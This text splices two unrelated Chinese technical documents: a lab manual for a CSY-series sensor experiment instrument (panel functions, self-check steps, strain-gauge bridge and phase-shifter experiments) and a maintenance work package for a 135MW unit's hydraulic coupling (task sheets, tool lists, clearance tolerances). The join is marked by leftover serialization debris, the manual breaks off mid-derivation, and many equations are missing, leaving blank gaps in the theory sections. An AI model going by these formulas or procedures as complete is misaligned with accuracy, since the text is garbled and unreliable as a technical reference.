@#@@#@以上传感器以及加热器、激振线圈的引线端均位于仪器下部面板最上端一排。
@#@@#@实验工作台上还装有测速电机一组及控制、调速开关。
@#@(CSY10B装有激振转换开关)@#@两支测微头分别装在左、右两边的支架上。
@#@(CSY10B只有右边一支)@#@二、信号及仪表显示部分:
@#@位于仪器上部面板@#@低频振荡器:
@#@1~30Hz输出连续可调,Vp-p值20V,最大输出电流1.5A,Vi端插口可提供用作电流放大器。
@#@@#@音频振荡器:
@#@0.4KHz~10KHz输出连续可调,Vp-p值20V,180°@#@、0°@#@为反相输出,Lv端最大功率输出1.5A。
@#@@#@直流稳压电源:
@#@±@#@12V,提供仪器电路工作电源和温度实验时的加热电源,最大输出1.5A。
@#@±@#@2V~±@#@10V,档距2V,分五档输出,提供直流信号源,最大输出电流1.5A。
@#@@#@1@#@2@#@数字式电压/频率表:
@#@3位显示,分2V、20V、2KHz、20KHz四档,灵敏度≥50mV,频率显示5Hz~20KHz。
@#@@#@指针式直流毫伏表:
@#@测量范围500Mv、50mV、5mV三档,精度2.5%。
@#@@#@数字式温度计:
@#@K分度热电偶测温,精度±@#@1℃。
@#@(CSY10B型)@#@三、处理电路:
@#@位于仪器下部面板@#@电桥:
@#@用于组成应变电桥,面板上虚线所示电阻为虚设,仅为组桥提供插座。
@#@R1、R2、R3为350Ω标准电阻,WD为直流调节电位器,WA为交流调节电位器。
@#@@#@差动放大器:
@#@增益可调直流放大器,可接成同相、反相、差动结构,增益1-100倍。
@#@@#@光电变换器:
@#@提供光纤传感器红外发射、接收、稳幅、变换,输出模拟信号电压与频率变换方波信号。
@#@四芯航空插座上装有光电转换装置和两根多模光纤(一根接收,一根发射)组成的光强型光纤传感器。
@#@@#@电容变换器:
@#@由高频振荡、放大和双T电桥组成。
@#@@#@移相器:
@#@允许输入电压20Vp-p,移相范围±@#@40°@#@(随频率不同有所变化)。
@#@@#@相敏检波器:
@#@集成运放极性反转电路构成,所需最小参考电压0.5Vp-p,允许最大输入电压≦20Vp-p。
@#@@#@电荷放大器:
@#@电容反馈式放大器,用于放大压电加速度传感器输出的电荷信号。
@#@@#@电压放大器:
@#@增益5倍的高阻放大器。
@#@@#@涡流变换器:
@#@变频式调幅变换电路,传感器线圈是三点式振荡电路中的一个元件。
@#@@#@温度变换器(信号变换器):
@#@根据输入端热敏电阻值、光敏电阻及P-N结温度传感器信号变化输出电压信号相应变化的变换电路。
@#@@#@低通滤波器:
@#@由50Hz陷波器和RC滤波器组成,转折频率35Hz左右。
@#@@#@使用仪器时打开电源开关,检查交、直流信号源及显示仪表是否正常。
@#@仪器下部面板左下角处的开关控制处理电路的工作电源,进行实验时请勿关掉。
@#@@#@指针式毫伏表工作前需输入端对地短路调零,取掉短路线后指针有所偏转是正常现象,不影响测试。
@#@@#@请用户注意,本仪器是实验性仪器,各电路完成的实验主要目的是对各传感器测试电路做定性的验证,而非工程应用型的传感器定量测试。
@#@@#@各电路和传感器性能建议通过以下实验检查是否正常:
@#@(传感器接口与变换器电路输入端接口须一一对应相连接)@#@1.应变片及差动放大器,参考附图1进行单臂、半桥和全桥实验,各应变片是否正常可用万用表电阻档在应变片两端测量其阻值。
@#@各接线图两个节点间即为一实验接插线,接插线可多根迭插,并保证接触良好。
@#@@#@2.半导体应变片,进行半导体应变片直流半桥实验。
@#@@#@3.热电偶,将差动放大器增益放至最大,用实验线将热电偶接入放大器,加热器打开,观察随温度升高热电势的变化。
@#@@#@4.热敏式,直接将传感器接入温度变换器输入端,进行“热敏传感器实验”,电热器加热升温,观察随温度升高“V0”端输出电压变化情况,注意热敏电阻是负温度系数。
@#@@#@5.P-N结温度式,进行P-N结集成温度传感器测温实验,注意电压表2V档显示值为绝对温度T(K氏温度)。
@#@@#@6.进行“移相器实验”,用双踪示波器观察两通道波形。
@#@@#@7.进行“相敏检波器实验”,相敏检波端口序数请参照附图6,其中4端为参考电压输入端。
@#@@#@8.进行“电容式传感器特性”实验,接线参照附图7。
@#@当振动圆盘带动动片上下移动时,电容变换器V0端电压应正负过零变化。
@#@@#@9.进行“光纤传感器——位移测量”,光纤探头可安装在原电涡流线圈的横支架上固定,端面垂直于镀铬反射片,旋动测微头带动反射片位置变化,从“V0”端读出电压变化值。
@#@光电变换器“F0”端输出频率变化方波信号。
@#@测频率变化时可参照“光纤传感器——转速测试”步骤进行。
@#@@#@10.进行光电式传感器测速实验,VF端输出的是频率信号。
@#@@#@11.进行光敏电阻测光实验,信号变换器输出电压变化范围>1V。
@#@@#@12.进行气敏传感器特性实验,特别注意加热电压一定不能>±@#@2V。
@#@@#@13.进行湿敏传感器特性演示实验,注意控制激励信号的频率及幅值。
@#@@#@14.进行扩散硅压力传感器实验,试验传感器差压信号输出情况。
@#@@#@15.将低频振荡器输出信号送入低通滤波器输入端、输出端用示波器观察,注意根据低通输出幅值调节输入信号大小。
@#@@#@16.进行“差动变压器性能”实验,检查电感式传感器性能,实验前要找出次级线圈同名端,次级所接示波器为悬浮工作状态。
@#@@#@17.进行“霍尔式传感器直流激励特性”实验,接线参照附图17,直流激励信号绝对不能大于2V!
@#@否则一定会造成霍尔元件烧坏。
@#@@#@18.进行“磁电式传感器”实验,磁电传感器两端接差动放大器输入端,差动放大器增益适当控制,用示波器观察输出波形。
@#@@#@19.进行“压电加速度传感器”实验,接线参见附图20,传感器引线屏蔽层必须接地。
@#@此实验与上述第12项内容均无定量要求。
@#@@#@20.进行“电涡流传感器的静态标定”实验,传感器接入涡流变换器输入端,其中示波器观察波形端口应在涡流变换器的左上方,即接电涡流线圈处,右上端端口为振荡信号经整流后的直流电压。
@#@@#@21.如果仪器是带微机接口和实验软件的,请参阅数据采集及处理说明。
@#@数据采集卡已装入仪器中,其中A/D转换是12位转换器,无漏码最大分辨率1/2048(即0.05%),在此范围内的电压值可视为容许误差。
@#@所以建议在做小信号实验(如应变电桥单臂实验)时选用合适的量程(如200mv),以正确选取信号,减小误差。
@#@@#@仪器后部的RS232接口请接计算机串行口工作。
@#@所接串口须与实验软件设置一致,否则计算机将收不到信号。
@#@@#@仪器工作时需良好的接地,以减小干扰信号,并尽量远离电磁干扰源。
@#@@#@仪器的型号不同,传感器种类不同,则检查项目也会有所不同,请自行根据仪器型号选择实验内容。
@#@@#@上述检查及实验能够完成则整台仪器各部分均为正常。
@#@@#@实验时请非常注意实验指导书中实验内容后的“注意事项”,要在确认接线无误的情况下开启电源,尽量避免电源短路情况的发生,加热时直流电源不能直接接入应变片、热敏电阻和热电偶。
@#@实验工作台上各传感器部分如相对位置不太正确可松动调节螺丝稍作调整,原则上以按下振动梁松手,周边各部分能随梁上下振动而无碰擦为宜。
@#@@#@附件中的称重平台是在实验工作台左边的悬臂梁旁的测微头取开后装于顶端的永久磁钢上方,铜质砝码做称重实验之用。
@#@实验开始前请检查实验连接线是否完好,以保证实验顺利进行。
@#@@#@本实验仪需防尘,以保证实验接触良好,仪器正常工作温度-10℃~40℃。
@#@@#@ @#@@#@目录@#@ @#@@#@使用说明@#@实验内容(各型传感器实验仪按需选用)@#@实验一箔式应变片性能――单臂电桥@#@实验二箔式应变片三种桥路性能比较@#@实验三箔式应变片的温度效应@#@实验四应变电路的温度补偿@#@实验五半导体应变片性能@#@实验六半导体应变片直流半桥测试系统@#@实验七箔式应变片与半导体应变片性能比较@#@实验八移相器实验@#@实验九相敏检波器实验@#@实验十箔式应变片组成的交流全桥@#@实验十一激励频率对交流全桥的影响@#@实验十二交流全桥的应用――振幅测量@#@实验十三交流全桥组成的电子秤@#@实验十四差动变压器性能@#@实验十五差动变压器零残电压的补偿@#@实验十六差动变压器的标定@#@实验十七差动变压器的振动测量@#@实验十八差动螺管式电感传感器位移测量@#@实验十九差动螺管式电感传感器振幅测量@#@实验二十激励频率对电感传感器的影响@#@实验二十一热电式传感器――热电偶@#@实验二十二热敏式温度传感器测温实验@#@实验二十三P-N结集成温度传感器@#@实验二十四光纤位移传感器――位移测量@#@实验二十五光纤传感器-转速测量@#@实验二十六光电传感器的应用――光电转速测试@#@实验二十七霍尔式传感器的直流激励特性@#@实验二十八霍尔式传感器的交流激励特性@#@实验二十九霍尔传感器的应用――振幅测量@#@实验三十霍尔传感器的应用――电子秤@#@实验三十一电涡流式传感器的静态标定@#@实验三十二被测材料对电涡流传感器特性的影响@#@实验三十三电涡流式传感器的振幅测量@#@实验三十四电涡流传感器的称重实验@#@实验三十五电涡流传感器电机测速实验@#@实验三十六磁电式传感器@#@实验三十七压电加速度传感器@#@实验三十八电容式传感器特性@#@实验三十九扩散硅压力传感器(MPX)实验@#@实验四十气敏传感器特性@#@实验四十一湿敏传感器特性演示@#@实验四十二综合传感器—力平衡式传感器@#@实验四十三双平行梁的动态特性—正弦稳态响应@#@实验四十四微机检测与转换—数据采集与处理@#@实验四十五光敏电阻实验@#@实验四十六热释电红外传感器探测实验@#@ @#@@#@实验一箔式应变片性能――单臂电桥@#@一、实验目地:
@#@@#@1.观察了解箔式应变片的结构及粘贴方式。
@#@@#@2.测试应变梁变形的应变输出。
@#@@#@3.比较各桥路间的输出关系。
@#@@#@二、实验原理:
@#@@#@本实验说明箔式应变片及单臂直流电桥的原理和工作情况。
@#@@#@应变片是最常用的测力传感元件。
@#@当用应变片测试时,应变片要牢固地粘贴在测试体表面,当测件受力发生形变,应变片的敏感栅随同变形,其电阻值也随之发生相应的变化。
@#@通过测量电路,转换成电信号输出显示。
@#@@#@电桥电路是最常用的非电量电测电路中的一种,当电桥平衡时,桥路对臂电阻乘积相等,电桥输出为零,在桥臂四个电阻R1、R2、R3、R4中,电阻的相对变化率分别为△R1/R1、△R2/R2、△R3/R3、△R4/R4,当使用一个应变片时,@#@;@#@当二个应变片组成差动状态工作,则有@#@;@#@用四个应变片组成二个差动对工作,且R1=R2=R3=R4=R,@#@。
@#@@#@由此可知,单臂,半桥,全桥电路的灵敏度依次增大。
@#@@#@三、实验所需部件:
@#@@#@直流稳压电源(±@#@4V档)、电桥、差动放大器、箔式应变片、测微头、(或双孔悬臂梁、称重砝码)、电压表。
@#@@#@四、实验步骤:
@#@@#@1.调零。
@#@开启仪器电源,差动放大器增益置100倍(顺时针方向旋到底),“+、-”输入端用实验线对地短路。
@#@输出端接数字电压表,用“调零”电位器调整差动放大器输出电压为零,然后拔掉实验线。
@#@调零后电位器位置不要变化。
@#@@#@如需使用毫伏表,则将毫伏表输入端对地短路,调整“调零”电位器,使指针居“零”位。
@#@拔掉短路线,指针有偏转是有源指针式电压表输入端悬空时的正常情况。
@#@调零后关闭仪器电源。
@#@@#@2.按图
(1)将实验部件用实验线连接成测试桥路。
@#@桥路中R1、R2、R3、和WD为电桥中的固定电阻和直流调平衡电位器,R为应变片(可任选上、下梁中的一片工作片)。
@#@直流激励电源为±@#@4V。
@#@@#@ @#@@#@图
(1)@#@测微头装于悬臂梁前端的永久磁钢上,并调节使应变梁处于基本水平状态。
@#@@#@3.确认接线无误后开启仪器电源,并预热数分钟。
@#@@#@调整电桥WD电位器,使测试系统输出为零。
@#@@#@4.旋动测微头,带动悬臂梁分别作向上和向下的运动,以悬臂梁水平状态下电路输出电压为零为起点,向上和向下移动各5mm,测微头每移动0.5mm记录一个差动放大器输出电压值,并列表。
@#@(或在双孔悬臂梁称重平台上依次放上砝码,进行上述实验)。
@#@@#@位移mm@#@电压@#@V@#@根据表中所测数据计算灵敏度S,S=△V/△X,并在坐标图上做出V-X关系曲线。
@#@@#@五、注意事项:
@#@@#@1.实验前应检查实验接插线是否完好,连接电路时应尽量使用较短的接插线,以避免引入干扰。
@#@接插线插入插孔,以保证接触良好,,切忌用力拉扯接插线尾部,以免造成线内导线断裂。
@#@@#@2.做单臂电桥实验时,由于应变片的零飘和蠕变现象的客观存在,桥路中的三个精密电阻与应变片的零飘值一致的可能性很小,如果没有采用补偿的话,单臂电桥测试电路是必然会出现输出电压漂移现象,这不是仪器不稳定,而是真实地反映了应变片的特性,但是只要采用了半桥或全桥测试电路,系统就会非常稳定,这是因为同一批次的应变片的飘移和蠕变特性相近,接成半桥和全桥形式后根据桥路的加减特性就起到了非常好的补偿作用,这也是应变片在实际应用中无一例外地采用全桥(或半桥)测试电路的原因。
@#@@#@3.稳压电源不要长时间对地短路。
@#@@#@实验二箔式应变片三种桥路性能比较@#@一、实验原理:
@#@@#@说明实际使用的应变电桥的性能和原理。
@#@@#@已知单臂、半桥和全桥电路的∑R分别为△R/R、2△R/R、4△R/R。
@#@根据戴维南定理可以得出测试电桥的输出电压近似等于1/4·@#@E·@#@∑R,电桥灵敏度Ku=V/△R/R,于是对应于单臂、半桥和全桥的电压灵敏度度分别为1/4E、1/2E和E.。
@#@由此可知,当E和电阻相对变化一定时,电桥及电压灵敏度与各桥臂阻值的大小无关。
@#@@#@二、实验所需部件@#@直流稳压电源(±@#@4V档)、电桥、差动放大器、箔式应变片、测微头、(或双孔悬臂梁、称重砝码)、电压表。
@#@@#@三、实验步骤:
@#@@#@1.在完成实验一的基础上,不变动差动放大器增益和调零电位器,依次将图
(1)中电桥固定电阻R1、R2、R3换成箔式应变片,分别接成半桥和全桥测试系统。
@#@@#@2.重复实验一中3-4步骤,测出半桥和全桥输出电压并列表,计算灵敏度。
@#@@#@3.在同一坐标上描出V-X曲线,比较三种桥路的灵敏度,并做出定性的结论。
@#@@#@四、注意事项:
@#@@#@1.应变片接入电桥时注意其受力方向,一定要接成差动形式。
@#@@#@2.直流激励电压不能过大,以免造成应变片自热损坏。
@#@@#@3.由于进行位移测量时测微头要从零-→正的最大值,又回复到零,再-→负的最大值,因此容易造成零点偏移,因此计算灵敏度时可将正△X的灵敏度与负的△X的灵敏度分开计算。
@#@再求平均值,以后实验中凡需过零的实验均可采用此种方法。
@#@@#@实验三箔式应变片的温度效应@#@一、实验目的:
@#@@#@说明温度变化对应变测试系统的影响。
@#@@#@二、实验原理:
@#@@#@温度变化引起应变片阻值发生变化的原因是应变片电阻丝的温度系数及电阻丝与测试中的膨胀系数不同。
@#@由此引起测试系统输出电压发生变化。
@#@@#@三、实验所需部件:
@#@@#@直流稳压电源、电桥、差动放大器、电压表、测微头、加热器、温度计(可用仪器中的P-N结温度传感器或热电偶作测温参考)。
@#@@#@四、实验步骤:
@#@@#@1.按图
(1)接线,开启电源,调整系统输出为零。
@#@@#@2.记录加热前测试系统感受的温度,可用热电偶或集成温度传感器测得。
@#@@#@3.开启“加热”电源,观察测试系统输出电压随温度升高而发生的变化。
@#@待电压读数基本稳定后记下电压值及温度升高值。
@#@@#@4.求出温度漂移值△V/△T。
@#@@#@五、注意事项:
@#@@#@要观察应变片的温度特性,实验系统必须接成单臂电桥,如果是半桥或全桥形式则系统已经具备补偿作用,温飘现象就不明显。
@#@@#@ @#@@#@实验四应变电路的温度补偿@#@一、实验目的:
@#@@#@由于温度变化引入了测量误差,因此实用测试电路中必须进行温度补偿。
@#@@#@二、实验原理:
@#@@#@用补偿片法是应变电桥温度补偿方法中的一种,如图
(2)所示。
@#@@#@在电桥中,R1为工作片,R2为补偿片,R1=R2。
@#@当温度变化时两应变片的电阻变化△R1与△R2符号相同,数量相等,桥路如原来是平衡的,则温度变化后R1R4=R2R3,电桥仍满足平衡条件,无漂移电压输出,由于补偿片所贴位置与工作片成90°@#@,所以只感受温度变化,而不感受悬臂梁的应变。
@#@@#@@#@V@#@@#@@#@ @#@@#@图
(2)图(3)@#@三、实验所需部件:
@#@@#@直流稳压电源、电桥、差动放大器、电压表、测微头、加热器、温度计(可用仪器中的P-N结温度传感器或热电偶作测温参考)。
@#@@#@四、实验步骤:
@#@@#@1.按图(3)接好线路,图中R′和R″分别为箔式工作片和补偿片。
@#@@#@2.重复实验三1-4步骤,求出接入补偿片后系统的温度漂移,并与实验三的结果进行比较。
@#@@#@五、注意事项:
@#@@#@应正确选择补偿片。
@#@在面板的应变片接线端中,从左至右1-8对接线端分别是:
@#@1-上梁半导体应变片,2-下梁半导体应变片。
@#@3.5-上梁箔式应变工作片,4.6-下梁。
@#@应变工作片,7.8-上、下梁温度补偿片。
@#@电路中工作片与补偿片应在同一应变梁上。
@#@@#@实验五半导体应变计性能@#@一、实验目的:
@#@@#@说明半导体应变计的灵敏度和温度效应。
@#@@#@二、实验原理:
@#@@#@由于材料的阻值@#@,则@#@,当应变@#@,灵敏度@#@;@#@对于箔式应变片,K箔≈1+2μ,主要是由形变引起。
@#@对于半导体应变计,K半≈(△ρ/ρ)/∑,主要由电阻率变化引起。
@#@由于半导体材料的“压阻效应”特别明显,可以反映出很微小的形变,所以K半要大于K箔,但是受温度影响大。
@#@@#@ @#@@#@图(4)@#@三、实验所需部件:
@#@@#@直流稳压电源、电桥、差动放大器、半导体应变计、测微头、电压表、温度计(可用仪器中的P-N结温度传感器或热电偶作测温参考)。
@#@@#@四、实验步骤:
@#@@#@1.按图(4)接线,R′是半导体应变计,另一臂电阻是电桥上固定电阻。
@#@开启电源后预热数分钟。
@#@@#@2.按单臂电桥实验步骤调整悬臂梁位置,调整系统输出,用测微头进行位移,记录V,X数据,作出V-X曲线,求出灵敏度。
@#@@#@3.重新调整测试系统输出为零。
@#@记录加温前的工作温度T。
@#@@#@4.打开“加热”开关,观察随温度升高系统输出电压温漂情况。
@#@待电压稳定后测得温升,求出系统的温漂△V/△T。
@#@@#@五、注意事项:
@#@@#@此实验中直流激励电压只能用±@#@2V,以免引起半导体自热。
@#@@#@实验六半导体应变计直流半桥测试系统@#@一、实验目的:
@#@@#@通过实际运用的半导体半桥电路,与实验五的半导体单臂电路进行性能比较,特别是要比较两种测试系统的漂移现象.@#@二、实验所需部件:
@#@@#@直流稳压电源、电桥、差动放大器、半导体应变计、测微头、电压表、温度计(可用仪器中的P-N结温度传感器或热电偶作测温参考)、加热器。
@#@@#@三、实验步骤:
@#@@#@1.按图(5)接线,电桥中R′和R″为半导体应变计。
@#@@#@2.按实验五步骤测出V,X值,画出V-X曲线,求出灵敏度,测出温度变化时的温漂。
@#@@#@ @#@@#@图(5)@#@四、注意事项:
@#@@#@此实验的测试条件应与实验五一致。
@#@@#@实验七箔式应变片与半导体应变片性能比较@#@一、实验目的:
@#@@#@通过实验比较两种应变电路的灵敏度与温度特性@#@二、实验所需部件:
@#@@#@直流稳压电源、差动放大器、箔式应变片、半导体应变片、测微头、电压表、加热器、温度计(可用仪器中的P-N结温度传感器或热电偶作测温参考)。
@#@@#@三、实验步骤:
@#@@#@1.分别做箔式单臂电桥和半导体式单臂电桥实验,接线如图
(1)所示,直流激励源为±@#@2V,差动放大器增益为100倍。
@#@调整系统,在相同的实验条件下分别测得两组数据填入表格,求出灵敏度。
@#@@#@位移Xmm@#@灵敏度@#@V半导体单臂@#@V箔式单臂@#@V半导体半桥@#@V箔式半桥@#@2.将电桥中一固定电阻换成应变片,做箔式半桥和半导体半桥实验,将测得的两组数据分别填入表格,求出灵敏度。
@#@@#@3.在同一坐标上画出四条V-X曲线以作比较。
@#@@#@4.分别对箔式变片和半导体应变片加热,测出两种测试电路的温漂,并进行比较。
@#@实验结果以证实实验五中对半导体应变片性能的分析。
@#@@#@四、注意事项:
@#@@#@进行上述实验时激励电压,差动放大器增益、测微头起始点位置等实验条件必须一致,否则就无可比性。
@#@@#@实验八移相器实验@#@一、实验目的:
@#@@#@说明由运算放大器构成的移相电路的工作原理。
@#@@#@ @#@@#@移相器电路@#@图(6)@#@二、实验原理:
@#@@#@图(6)为移相电路示意图。
@#@@#@该电路的团环增益@#@把拉普拉氏算符换成频率域的参数,则得到:
@#@@#@又改写为@#@在实验电路中,常设定幅频特性︱G(jω)︱=1,为此选择参数R1=RF=10KΩ由上,R=20KΩ,则输出幅度与频率无关,闭路增益可简化为:
@#@@#@当R=2R1=2RRF时,︱G(jω)︱=1。
@#@由上式可以得到相频特性表达式:
@#@@#@由tgΨ表达式和正切三角函数半角公式可";i:
2;s:
17026:
"135机组偶合器文件包@#@XX/XXXXX—XX—2007@#@ @#@@#@豫新发电有限责任公司企业标准@#@X/XXXXX-2007@#@(135MW机组检修文件包)@#@ @#@@#@CO46偶合器@#@检修文件包@#@批准:
@#@@#@复审:
@#@@#@审核:
@#@@#@初审:
@#@@#@编写:
@#@@#@ @#@@#@豫新发电有限责任公司发布@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@CO46液力偶合器文件包清单@#@表:
@#@1/10@#@设备编码:
@#@@#@序号@#@文件名称@#@页码@#@备注@#@□1@#@文件包清单@#@□2@#@检修工作任务单@#@□3@#@修前准备@#@□4@#@检修工序卡@#@□5@#@检修技术记录卡@#@□6@#@质量监督签证单@#@□7@#@不符合项处理单@#@□8@#@设备试运行单@#@□9@#@完工报告单@#@□10@#@修改记录(文件包如需修改,应填写此记录。
@#@)@#@□11@#@□12@#@□13@#@□14@#@□15@#@□16@#@□17@#@□18@#@□19@#@□20@#@@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@检修工作任务单@#@表:
@#@2/10@#@设备编码:
@#@@#@设备名称@#@#2机#给水泵偶合器@#@2007年度@#@检@#@修@#@计@#@划@#@设备检修级别:
@#@□A级□B级□C级□D级□维修@#@计划检修时间:
@#@2007年月日至2007年月日@#@计划工日:
@#@工日@#@费用渠道:
@#@□机组大修□维修□技改□科技□其他@#@工@#@作@#@许@#@可@#@□需单独办理工作票@#@□电气第一种工作票□电气第二种工作票□热机工作票@#@□该设备所属系统办理工作票,不需单独办理工作票@#@□其它工作许可条件@#@□脚手架□动火工作票□拆除保温□封堵打开@#@□围栏设置□安全网□其它@#@特殊要求@#@ @#@@#@工作任务描述@#@□标准项目□大修标准项目加特殊项目@#@1、办理工作票@#@2、偶合器解体@#@3、检查、测量、检修@#@4、回装@#@5、质量验收@#@修前交底@#@试运行要求@#@□需要@#@计划在月日至月日@#@□不需要@#@甲@#@乙@#@方@#@会@#@签@#@甲方:
@#@豫新发电有限责任公司@#@乙方:
@#@新乡检修分公司@#@项目负责人签发:
@#@@#@设备管理与维护部盖章:
@#@@#@项目负责人签收:
@#@@#@施工单位盖章:
@#@@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@修前准备@#@表:
@#@3/10@#@设备编码:
@#@@#@序号@#@准备项目名称及具体要求@#@检查结果@#@项目负责人签字@#@1@#@人员准备@#@①高级工1人@#@②中级工2人@#@③初级工2人@#@□()@#@□()@#@2@#@工器具准备@#@①游标卡尺、磁性表座、百分表、深度尺,50-8@#@0内、外径千分尺、塞尺、记号笔、氧气表、乙炔表、@#@3米盒尺@#@②撬棒、手锤、铜棒、虎头钳、V型铁、手拉葫芦、锉刀、锯弓、10-18寸活扳手、螺丝刀、剪刀、10-36两用扳手、内六方扳手、划规、刮刀、吹风机、千斤顶、拉马、尖嘴钳、找中心专用卡具、弯嘴钳、挡圈钳、烤把、铁皮剪、油光锉、钳子、卡环、吊环@#@③油壶、手电筒、钢丝绳、氧气带、乙炔带@#@□()@#@□()@#@□()@#@3@#@工作票办理@#@①电气第一种工作票@#@②电气第一种工作票@#@③热机工作票@#@④动火工作票@#@⑤工作票号@#@□()@#@□()@#@□()@#@□()@#@4@#@备品配件和器材@#@①支持轴瓦、推力轴承、推力瓦块@#@②O型密封圈、油封@#@③辅助油泵对轮及减振块@#@④油滤网芯@#@⑤易熔塞@#@⑥充油泵轴、叶轮、导向轴承@#@@#@@#@@#@□()@#@□()@#@□()@#@□()@#@□()@#@□()@#@5@#@耗材@#@①棉纱、汽油、砂布、铜皮、704密封胶、AB胶@#@②耐油石棉橡胶板、油漆@#@③松锈剂、黄油、透平油@#@④生料带、塑料布、红丹粉@#@@#@@#@@#@□()@#@□()@#@□()@#@□()@#@□()@#@□()@#@6@#@其他开工条件@#@①工作现场铺胶皮。
@#@@#@□()@#@注:
@#@本页由作业负责人填写,施工单位项目负责人验收,并在开工前逐页检查,达到要求的在“□”内打“√”,并标明日期和时间。
@#@“()”内填写检查落实时间。
@#@@#@XX/XXXXX—XX—2007@#@豫新发电有限责任公司@#@检修工序卡@#@表:
@#@4/10@#@设备编码:
@#@@#@序号@#@工艺步骤及内容@#@质检@#@质量标准@#@□1@#@拆卸偶合器箱盖@#@□1.4大齿轮与小齿轮侧切向间隙为0.28—0.35mm。
@#@@#@□1.5工作油泵与大齿轮端部斜齿轮侧隙为0.20—0.25mm。
@#@@#@□3.2泵轮和涡轮轴颈及推力盘表面应光滑,无裂纹、碰伤、锈蚀、麻点及严重磨损等缺陷。
@#@@#@□3.3泵轮、涡轮轴瓦、推力瓦合金均无裂纹、脱胎、气孔等缺陷。
@#@泵轮涡轮轴瓦接触角为60°@#@—65°@#@,接触面积75%以上,沿轴向均匀分布。
@#@推力瓦合金接触面积75%以上。
@#@@#@□3.4涡轮轴颈与轴瓦φ80mm、φ75mm的配合间隙为0.10—0.18mm。
@#@@#@□3.5泵轮轴颈与φ105mm、φ100mm轴瓦的配合间隙为0.12—0.21mm。
@#@@#@□3.7涡轮与供排油腔的@#@0.20—0.48mm,供排油腔外圆无变形,与轴瓦配合处应光滑,整个供排油腔无裂纹损伤等缺陷。
@#@@#@□3.8勺管与勺管套无严重磨损,无毛刺裂纹、无卡涩。
@#@@#@勺管与勺管套装复导向键时应松紧合适,勺管上下移动应灵活、无卡涩。
@#@@#@勺管与勺管套径向配合间隙为0.08mm,勺管套与供排油腔径向配合间隙为0.035—0.08mm。
@#@@#@□4大齿轮齿面光洁,无严重磨损,无裂纹、锈蚀、剥落、麻点等痕迹,齿面咬合良好。
@#@齿轮与轮毂的紧固螺栓、保险止动垫圈紧固,无松动、损坏等缺陷。
@#@@#@□4.1大齿轮轴颈与轴瓦配合侧向间隙0.15—0.25mm。
@#@□5.1油泵主轴轴颈光洁,轴颈与φ45轴承@#@0.04—0.08mm。
@#@轴颈与导向轴承径@#@:
@#@0.02—0.06mm。
@#@@#@□5.2工作油泵横轴轴颈应光洁,轴颈与轴承径@#@0.04—0.08mm。
@#@推力面接触应良好,装复后轴@#@0.04—0.07mm。
@#@轴向间隙1.4—1.9mm。
@#@@#@□5.2锥齿轮齿隙为0.20—0.30mm,齿面接触高度及宽度应超过60%以上。
@#@@#@□6控制阀体内壁应光滑清洁,无毛刺、油污、锈蚀、麻点。
@#@控制阀活塞外圆光滑,无磨损、毛刺及锈蚀等。
@#@装复后控制阀活塞动作应灵活。
@#@□8.1泵轮与涡轮推力盘和推力瓦块装复时,轴向间隙为0.22—0.27mm。
@#@@#@□9电动机、偶合器同轴度要求:
@#@圆周两侧偏差不大于0.10mm,圆周上下电动机轴应偏高0.15—0.20mm,面偏差不大于0.05mm。
@#@电机偏右0.15mm(从主泵侧看)@#@ @#@@#@□1.1@#@拧去热电偶及调速连杆连接装置,并放去存油。
@#@拆去偶合器与电动机连轴器进出油管、联轴器上下罩壳,拧松联轴套两端螺栓,取下联轴套,将内齿套移向两侧。
@#@@#@□1.2@#@拧下箱体与箱盖连接螺栓,箱顶处长螺栓和各轴承处螺栓拧下调速机座与箱体连接螺栓,取下调速机座。
@#@@#@□1.3@#@用行车吊箱盖时,用两个顶箱盖的螺栓顶起箱盖后,才可起吊,起吊时应缓慢进行,保持箱盖水平,当箱盖高出大齿轮顶部时,及时移出至检修场地放平。
@#@@#@□1.4@#@吊出箱盖后测量大齿轮(主动轮)与小齿轮(被动轮)的切向间隙@#@R@#@□1.5@#@测量工作油泵与大齿轮轴端斜齿轮间隙,并与制造厂数据比较,作为调换零件的依据,并作好记录。
@#@@#@R@#@□1.6@#@测量泵轮与涡轮轴向间隙及推力瓦块的间隙。
@#@@#@R@#@□2@#@偶合器内各部件拆卸@#@□2.1@#@拧下泵轮和旋转外壳连接螺栓,同时拧下供排油腔与箱体的连接螺栓,分别将各道轴承上瓦用细铅丝扎好随各轴吊出@#@□2.2@#@分别起吊大齿轮、小齿轮和涡论。
@#@将三根传动轴支撑在清洁的专用支架上。
@#@@#@□2.3@#@拆除工作油泵的斜齿轮、传动齿轮及两端轴承盖螺栓。
@#@取出轴承盖、上瓦和横轴,随后拆除工作油泵与箱体结合面螺栓,将工作油泵缓慢吊起至检修场地。
@#@@#@□3@#@解体、清理并检查泵轮、涡论与供排油腔。
@#@@#@□3.1@#@拧下涡论与涡轮轴的连接螺栓,取出涡轮及转动外壳。
@#@再用胀口钳取出排油腔上孔内的弹性挡圈,取出导向键和勺管.然后拧下供、排油腔中分面螺栓,取出排油腔,分别取出ф80mm与ф75mm轴瓦,继续取出推力瓦块,最后吊出涡轮轴.@#@□3.2@#@用煤油清洗泵轮、涡轮轴,擦干后检查两根轴推力盘工作面及轴颈的磨损情况,必要时进行研磨。
@#@@#@□3.3@#@清洗检查修整轴瓦和推力瓦块@#@□3.4@#@测量涡轮轴颈与轴瓦φ80mm、φ75mm的配合间隙@#@W@#@□3.5@#@测量泵轮轴颈与φ105mm、φ100mm轴瓦的配合间隙@#@W@#@□3.6@#@清洗、检查供排油腔。
@#@@#@□3.7@#@测量涡轮与供排油腔的径向间隙@#@W@#@□3.8@#@清洗、检查勺管、勺管套、导向键。
@#@测量各部位的配合间隙,并作详细纪录。
@#@@#@R@#@□4@#@清理、检查大齿轮:
@#@用煤油将大齿轮和轴清洗后作宏观检查。
@#@检查大齿轮轴颈处的磨损。
@#@@#@□4.1@#@测量大齿轮轴颈与轴瓦配合间隙@#@R@#@□5@#@工作油泵与润滑油泵的检修@#@□5.1@#@拧下工作油泵叶轮前并紧螺母,取出叶轮。
@#@随后拆除支承架与隔板、润滑油泵体和润滑油泵吸入腔三者联结螺栓,取下润滑油泵吸入腔和泵体隔板,最后将泵轴从支架上部取出。
@#@@#@□5.2@#@用煤油清洗工作油泵各部件。
@#@检查各轴承有无严重磨损、裂纹、脱壳、气孔等缺陷。
@#@检查各传送齿轮的没磨损情况及齿面表面粗糙度。
